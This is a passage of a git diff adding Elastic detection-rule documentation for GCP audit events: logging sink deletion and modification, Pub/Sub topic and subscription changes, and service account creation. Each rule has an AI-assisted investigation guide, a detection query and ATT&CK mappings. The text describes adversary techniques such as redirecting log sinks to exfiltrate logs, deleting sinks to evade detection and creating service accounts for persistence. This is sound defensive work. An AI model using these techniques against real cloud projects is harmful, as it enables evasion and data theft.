specific environment and operational needs. + + +*Investigating GCP Logging Sink Deletion* + + +In GCP, logging sinks are crucial for exporting log entries to designated destinations for analysis and storage. Adversaries may delete these sinks to prevent logs from being exported, thereby evading detection. The detection rule identifies successful deletion events by monitoring specific audit logs, helping security teams quickly respond to potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.logging.v*.ConfigServiceV*.DeleteSink to identify the user or service account responsible for the deletion. +- Check the event.dataset:gcp.audit logs for any preceding or subsequent suspicious activities by the same user or service account, which might indicate a pattern of malicious behavior. +- Investigate the event.outcome:success to confirm the deletion was successful and determine the impact on log monitoring and export capabilities. +- Assess the context and timing of the deletion event to see if it coincides with other security alerts or incidents, which might suggest a coordinated attack. +- Verify the permissions and roles assigned to the user or service account involved in the deletion to ensure they align with the principle of least privilege and identify any potential misconfigurations. + + +*False positive analysis* + + +- Routine maintenance or configuration changes by authorized personnel can trigger false positives. To manage this, create exceptions for known maintenance windows or specific user accounts responsible for these tasks. +- Automated scripts or tools used for managing logging configurations might inadvertently delete sinks as part of their operation. Identify these scripts and exclude their actions from triggering alerts by using specific identifiers or service accounts. +- Changes in project ownership or restructuring within the organization can lead to legitimate sink deletions. Document these organizational changes and adjust the monitoring rules to account for them, ensuring that alerts are only generated for unexpected deletions. +- Test environments often undergo frequent changes, including sink deletions, which can result in false positives. Implement separate monitoring rules or exceptions for test environments to reduce noise in alerting. + + +*Response and remediation* + + +- Immediately revoke access to the affected GCP project for any suspicious or unauthorized users identified in the audit logs to prevent further malicious activity. +- Restore the deleted logging sink by recreating it with the original configuration to ensure that log entries are once again exported to the designated destination. +- Conduct a thorough review of recent log entries and audit logs to identify any other unauthorized changes or suspicious activities that may have occurred around the time of the sink deletion. +- Implement additional monitoring and alerting for any future attempts to delete logging sinks, focusing on the specific event action and outcome fields used in the detection query. +- Escalate the incident to the security operations team for further investigation and to determine if the sink deletion is part of a larger attack campaign. +- Review and update access controls and permissions for logging sink management to ensure that only authorized personnel have the ability to modify or delete sinks. +- Consider enabling additional security features such as VPC Service Controls or Organization Policy constraints to provide an extra layer of protection against unauthorized modifications to logging configurations. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:google.logging.v*.ConfigServiceV*.DeleteSink and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-logging-sink-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-logging-sink-modification.asciidoc new file mode 100644 index 0000000000..b585308920 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-logging-sink-modification.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-20-gcp-logging-sink-modification]] +=== GCP Logging Sink Modification + +Identifies a modification to a Logging sink in Google Cloud Platform (GCP). Logging compares the log entry to the sinks in that resource. Each sink whose filter matches the log entry writes a copy of the log entry to the sink's export destination. An adversary may update a Logging sink to exfiltrate logs to a different export destination. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/logging/docs/export#how_sinks_work + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Logging Sink Modification* + + +In GCP, logging sinks are used to route log entries to specified destinations for storage or analysis. Adversaries may exploit this by altering sink configurations to redirect logs to unauthorized locations, facilitating data exfiltration. The detection rule identifies successful modifications to logging sinks, signaling potential misuse by monitoring specific audit events related to sink updates. + + +*Possible investigation steps* + + +- Review the event details for the specific `event.action` field value `google.logging.v*.ConfigServiceV*.UpdateSink` to confirm the type of modification made to the logging sink. +- Check the `event.outcome` field to ensure the modification was successful, as indicated by the value `success`. +- Identify the user or service account responsible for the modification by examining the `actor` or `principalEmail` fields in the audit log. +- Investigate the `resource` field to determine which logging sink was modified and assess its intended purpose and usual configuration. +- Analyze the `destination` field in the sink configuration to verify if the new export destination is authorized and aligns with organizational policies. +- Review historical logs for any previous modifications to the same logging sink to identify patterns or repeated unauthorized changes. +- Correlate this event with other security alerts or anomalies in the environment to assess if this modification is part of a broader attack or data exfiltration attempt. + + +*False positive analysis* + + +- Routine updates to logging sinks by authorized personnel can trigger alerts. To manage this, maintain a list of known and trusted users who regularly perform these updates and create exceptions for their actions. +- Automated processes or scripts that update logging sinks as part of regular maintenance or deployment activities may cause false positives. Identify these processes and exclude their specific actions from triggering alerts. +- Changes to logging sinks during scheduled maintenance windows can be mistaken for unauthorized modifications. Define and exclude these time periods from monitoring to reduce unnecessary alerts. +- Integration with third-party tools that require sink modifications for functionality might generate false positives. Document these integrations and adjust the detection rule to account for their expected behavior. +- Frequent changes in a dynamic environment, such as development or testing environments, can lead to false positives. Consider applying the rule more stringently in production environments while relaxing it in non-production settings. + + +*Response and remediation* + + +- Immediately review the audit logs to confirm the unauthorized modification of the logging sink and identify the source of the change, including the user account and IP address involved. +- Revert the logging sink configuration to its original state to ensure logs are directed to the intended, secure destination. +- Temporarily disable or restrict access to the user account or service account that made the unauthorized change to prevent further unauthorized actions. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized modification and initial containment actions taken. +- Conduct a thorough investigation to determine if any data was exfiltrated and assess the potential impact on the organization. +- Implement additional monitoring and alerting for changes to logging sink configurations to detect similar unauthorized modifications in the future. +- Review and strengthen access controls and permissions related to logging sink configurations to prevent unauthorized modifications, ensuring that only authorized personnel have the necessary permissions. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:google.logging.v*.ConfigServiceV*.UpdateSink and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-pub-sub-subscription-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-pub-sub-subscription-creation.asciidoc new file mode 100644 index 0000000000..b4f3671bda --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-pub-sub-subscription-creation.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-20-gcp-pub-sub-subscription-creation]] +=== GCP Pub/Sub Subscription Creation + +Identifies the creation of a subscription in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A subscription is a named resource representing the stream of messages to be delivered to the subscribing application. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/pubsub/docs/overview + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Pub/Sub Subscription Creation* + + +Google Cloud Pub/Sub is a messaging service that enables asynchronous communication between applications by decoupling event producers and consumers. Adversaries might exploit this by creating unauthorized subscriptions to intercept or exfiltrate sensitive data streams. The detection rule monitors audit logs for successful subscription creation events, helping identify potential misuse by flagging unexpected or suspicious activity. + + +*Possible investigation steps* + + +- Review the audit log entry associated with the alert to identify the user or service account responsible for the subscription creation by examining the `event.dataset` and `event.action` fields. +- Verify the legitimacy of the subscription by checking the associated project and topic details to ensure they align with expected configurations and business needs. +- Investigate the history of the user or service account involved in the subscription creation to identify any unusual or unauthorized activities, focusing on recent changes or access patterns. +- Assess the permissions and roles assigned to the user or service account to determine if they have the necessary privileges for subscription creation and whether these permissions are appropriate. +- Consult with relevant stakeholders or application owners to confirm whether the subscription creation was authorized and necessary for operational purposes. + + +*False positive analysis* + + +- Routine subscription creation by automated deployment tools or scripts can trigger false positives. Identify and whitelist these tools by excluding their service accounts from the detection rule. +- Development and testing environments often create and delete subscriptions frequently. Exclude these environments by filtering out specific project IDs associated with non-production use. +- Scheduled maintenance or updates might involve creating new subscriptions temporarily. Coordinate with the operations team to understand regular maintenance schedules and adjust the rule to ignore these activities during known maintenance windows. +- Internal monitoring or logging services that create subscriptions for legitimate data collection purposes can be excluded by identifying their specific patterns or naming conventions and adding them to an exception list. + + +*Response and remediation* + + +- Immediately review the audit logs to confirm the unauthorized subscription creation and identify the source, including the user or service account responsible for the action. +- Revoke access for the identified user or service account to prevent further unauthorized actions. Ensure that the principle of least privilege is enforced. +- Delete the unauthorized subscription to stop any potential data interception or exfiltration. +- Conduct a thorough review of all existing subscriptions to ensure no other unauthorized subscriptions exist. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring and alerting for subscription creation events to detect similar activities in the future. +- If applicable, report the incident to Google Cloud support for further assistance and to understand if there are any broader implications or vulnerabilities. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:google.pubsub.v*.Subscriber.CreateSubscription and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Automated Collection +** ID: T1119 +** Reference URL: https://attack.mitre.org/techniques/T1119/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-pub-sub-subscription-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-pub-sub-subscription-deletion.asciidoc new file mode 100644 index 0000000000..0f3a5f700d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-pub-sub-subscription-deletion.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-20-gcp-pub-sub-subscription-deletion]] +=== GCP Pub/Sub Subscription Deletion + +Identifies the deletion of a subscription in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A subscription is a named resource representing the stream of messages to be delivered to the subscribing application. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/pubsub/docs/overview + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Pub/Sub Subscription Deletion* + + +Google Cloud Pub/Sub is a messaging service that enables asynchronous communication between event producers and consumers. Subscriptions in Pub/Sub are crucial for message delivery to applications. Adversaries may delete subscriptions to disrupt communication, evade detection, or impair defenses. The detection rule monitors audit logs for successful subscription deletions, flagging potential defense evasion activities. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.pubsub.v*.Subscriber.DeleteSubscription to identify the user or service account responsible for the deletion. +- Check the event.dataset:gcp.audit logs for any preceding or subsequent actions by the same user or service account to determine if there is a pattern of suspicious activity. +- Investigate the context of the deleted subscription by examining the associated project and any related resources to understand the potential impact on the application or service. +- Verify if the deletion aligns with any recent changes or maintenance activities within the organization to rule out legitimate actions. +- Assess the permissions and roles assigned to the user or service account to ensure they are appropriate and not overly permissive, which could indicate a security risk. +- Consult with the relevant application or service owners to confirm whether the subscription deletion was authorized and necessary. + + +*False positive analysis* + + +- Routine maintenance activities by administrators may lead to subscription deletions that are not malicious. To manage this, create exceptions for known maintenance windows or specific admin accounts. +- Automated scripts or tools used for managing Pub/Sub resources might delete subscriptions as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using service account identifiers. +- Development and testing environments often involve frequent creation and deletion of subscriptions. Exclude these environments from alerts by filtering based on project IDs or environment tags. +- Subscription deletions as part of a resource cleanup process can be non-threatening. Document and exclude these processes by identifying patterns in the audit logs, such as specific user agents or IP addresses associated with cleanup operations. + + +*Response and remediation* + + +- Immediately verify the legitimacy of the subscription deletion by contacting the responsible team or individual to confirm if the action was authorized. +- If unauthorized, revoke access for the user or service account involved in the deletion to prevent further unauthorized actions. +- Restore the deleted subscription from backup or recreate it if necessary, ensuring that message delivery to the application is resumed. +- Conduct a thorough review of audit logs to identify any other suspicious activities or patterns that may indicate further compromise. +- Implement additional access controls and monitoring for Pub/Sub resources to prevent unauthorized deletions in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data were affected. +- Update incident response plans and playbooks to include specific procedures for handling Pub/Sub subscription deletions and similar threats. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:google.pubsub.v*.Subscriber.DeleteSubscription and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-pub-sub-topic-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-pub-sub-topic-creation.asciidoc new file mode 100644 index 0000000000..7641b8720d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-pub-sub-topic-creation.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-20-gcp-pub-sub-topic-creation]] +=== GCP Pub/Sub Topic Creation + +Identifies the creation of a topic in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A topic is used to forward messages from publishers to subscribers. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/pubsub/docs/admin + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Pub/Sub Topic Creation* + + +Google Cloud Pub/Sub is a messaging service that enables asynchronous communication between independent applications. It uses topics to route messages from publishers to subscribers. Adversaries might exploit this by creating unauthorized topics to exfiltrate data or disrupt services. The detection rule monitors successful topic creation events, helping identify potential misuse by flagging unexpected or suspicious activity. + + +*Possible investigation steps* + + +- Review the event details to confirm the presence of the event.action field with the value google.pubsub.v*.Publisher.CreateTopic and ensure the event.outcome is success. +- Identify the user or service account associated with the topic creation by examining the actor information in the event logs. +- Check the project and resource details to determine the context and environment where the topic was created, including the project ID and resource name. +- Investigate the purpose and necessity of the newly created topic by consulting with relevant stakeholders or reviewing documentation related to the project. +- Analyze historical logs to identify any unusual patterns or anomalies in topic creation activities by the same user or within the same project. +- Assess the permissions and roles assigned to the user or service account to ensure they align with the principle of least privilege. +- If suspicious activity is confirmed, consider implementing additional monitoring or access controls to prevent unauthorized topic creation in the future. + + +*False positive analysis* + + +- Routine topic creation by automated processes or scripts can trigger false positives. Identify and document these processes to create exceptions in the monitoring system. +- Development and testing environments often involve frequent topic creation. Exclude these environments from alerts by using environment-specific tags or labels. +- Scheduled maintenance or updates by cloud administrators may result in legitimate topic creation. Coordinate with the operations team to whitelist these activities during known maintenance windows. +- Third-party integrations or services that rely on Pub/Sub for communication might create topics as part of their normal operation. Review and approve these integrations to prevent unnecessary alerts. +- Internal applications with dynamic topic creation as part of their workflow should be assessed and, if deemed non-threatening, added to an exception list to reduce noise. + + +*Response and remediation* + + +- Immediately review the audit logs to confirm the unauthorized creation of the Pub/Sub topic and identify the user or service account responsible for the action. +- Revoke or limit permissions for the identified user or service account to prevent further unauthorized actions, ensuring that only necessary permissions are granted. +- Delete the unauthorized Pub/Sub topic to prevent any potential data exfiltration or disruption of services. +- Conduct a thorough review of other Pub/Sub topics and related resources to ensure no additional unauthorized topics have been created. +- Notify the security team and relevant stakeholders about the incident for further investigation and to assess potential impacts on the organization. +- Implement additional monitoring and alerting for Pub/Sub topic creation events to detect and respond to similar threats more quickly in the future. +- Consider enabling organization-wide policies that restrict who can create Pub/Sub topics to reduce the risk of unauthorized actions. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:google.pubsub.v*.Publisher.CreateTopic and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-pub-sub-topic-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-pub-sub-topic-deletion.asciidoc new file mode 100644 index 0000000000..be861cd394 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-pub-sub-topic-deletion.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-20-gcp-pub-sub-topic-deletion]] +=== GCP Pub/Sub Topic Deletion + +Identifies the deletion of a topic in Google Cloud Platform (GCP). In GCP, the publisher-subscriber relationship (Pub/Sub) is an asynchronous messaging service that decouples event-producing and event-processing services. A publisher application creates and sends messages to a topic. Deleting a topic can interrupt message flow in the Pub/Sub pipeline. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/pubsub/docs/overview + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Pub/Sub Topic Deletion* + + +Google Cloud Platform's Pub/Sub service facilitates asynchronous messaging, allowing applications to communicate by publishing messages to topics. Deleting a topic can disrupt this communication, potentially as a tactic for defense evasion. Adversaries might exploit this by deleting topics to impair defenses or hide their tracks. The detection rule monitors audit logs for successful topic deletions, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: google.pubsub.v*.Publisher.DeleteTopic to identify the exact time and user or service account responsible for the deletion. +- Investigate the event.dataset:gcp.audit logs around the same timeframe to identify any related activities or anomalies that might indicate malicious intent or unauthorized access. +- Check the event.outcome:success to confirm the deletion was completed successfully and correlate it with any reported service disruptions or issues in the affected applications. +- Assess the permissions and roles of the user or service account involved in the deletion to determine if they had legitimate access and reasons for performing this action. +- Contact the user or team responsible for the deletion to verify if the action was intentional and authorized, and gather any additional context or justification for the deletion. +- Review any recent changes in IAM policies or configurations that might have inadvertently allowed unauthorized topic deletions. + + +*False positive analysis* + + +- Routine maintenance or updates by administrators can lead to legitimate topic deletions. To manage this, create exceptions for known maintenance periods or specific admin accounts. +- Automated scripts or tools that manage Pub/Sub topics might delete topics as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using service account identifiers. +- Development and testing environments often involve frequent topic creation and deletion. Exclude these environments from monitoring by filtering based on project IDs or environment tags. +- Scheduled clean-up jobs that remove unused or temporary topics can trigger false positives. Document these jobs and adjust the detection rule to ignore deletions occurring during their execution times. +- Changes in project requirements or architecture might necessitate topic deletions. Ensure that such changes are communicated and documented, allowing for temporary exceptions during the transition period. + + +*Response and remediation* + + +- Immediately assess the impact of the topic deletion by identifying affected services and applications that rely on the deleted topic for message flow. +- Restore the deleted topic from backup if available, or recreate the topic with the same configuration to resume normal operations. +- Notify relevant stakeholders, including application owners and security teams, about the incident and potential service disruptions. +- Review access logs and permissions to identify unauthorized access or privilege escalation that may have led to the topic deletion. +- Implement stricter access controls and permissions for Pub/Sub topics to prevent unauthorized deletions in the future. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if the deletion is part of a larger attack pattern. +- Enhance monitoring and alerting for Pub/Sub topic deletions to ensure rapid detection and response to similar incidents in the future. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:google.pubsub.v*.Publisher.DeleteTopic and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-service-account-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-service-account-creation.asciidoc new file mode 100644 index 0000000000..31893204c0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-service-account-creation.asciidoc @@ -0,0 +1,119 @@ +[[prebuilt-rule-8-19-20-gcp-service-account-creation]] +=== GCP Service Account Creation + +Identifies when a new service account is created in Google Cloud Platform (GCP). A service account is a special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users through domain-wide delegation. If service accounts are not tracked and managed properly, they can present a security risk. An adversary may create a new service account to use during their operations in order to avoid using a standard user account and attempt to evade detection. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-gcp* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/iam/docs/service-accounts + +*Tags*: + +* Domain: Cloud +* Data Source: GCP +* Data Source: Google Cloud Platform +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GCP Service Account Creation* + + +In GCP, service accounts enable applications and VMs to interact with APIs securely. While essential for automation, they can be exploited if improperly managed. Adversaries might create service accounts to gain persistent access without detection. The detection rule monitors audit logs for successful service account creations, flagging potential unauthorized activities for further investigation. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action:google.iam.admin.v*.CreateServiceAccount to identify the time and source of the service account creation. +- Check the identity of the user or service that initiated the service account creation to determine if it aligns with expected administrative activities. +- Investigate the permissions and roles assigned to the newly created service account to assess if they are excessive or unusual for its intended purpose. +- Correlate the service account creation event with other recent activities in the environment to identify any suspicious patterns or anomalies. +- Verify if the service account is being used by any unauthorized applications or VMs by reviewing recent API calls and access logs associated with the account. + + +*False positive analysis* + + +- Routine service account creation by automated deployment tools or scripts can trigger false positives. Identify and document these tools, then create exceptions in the monitoring system to exclude these known activities. +- Service accounts created by trusted internal teams for legitimate projects may also be flagged. Establish a process for these teams to notify security personnel of planned service account creations, allowing for pre-approval and exclusion from alerts. +- Scheduled maintenance or updates that involve creating temporary service accounts can result in false positives. Coordinate with IT operations to understand their schedules and adjust monitoring rules to accommodate these activities. +- Third-party integrations that require service accounts might be mistakenly flagged. Maintain an inventory of authorized third-party services and their associated service accounts to quickly verify and exclude these from alerts. + + +*Response and remediation* + + +- Immediately disable the newly created service account to prevent any unauthorized access or actions. +- Review the IAM policy and permissions associated with the service account to ensure no excessive privileges were granted. +- Conduct a thorough audit of recent activities performed by the service account to identify any suspicious or unauthorized actions. +- Notify the security team and relevant stakeholders about the potential security incident for further investigation and coordination. +- Implement additional monitoring and alerting for service account creations to detect similar activities in the future. +- If malicious activity is confirmed, follow incident response procedures to contain and remediate any impact, including revoking access and conducting a security review of affected resources. +- Document the incident and response actions taken to improve future detection and response capabilities. + +==== Setup + + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:gcp.audit and event.action:google.iam.admin.v*.CreateServiceAccount and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-service-account-key-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-gcp-service-account-key-creation.asciidoc new file mode 100644 index 0000000000..da0b879c3b --- /dev/null +++ 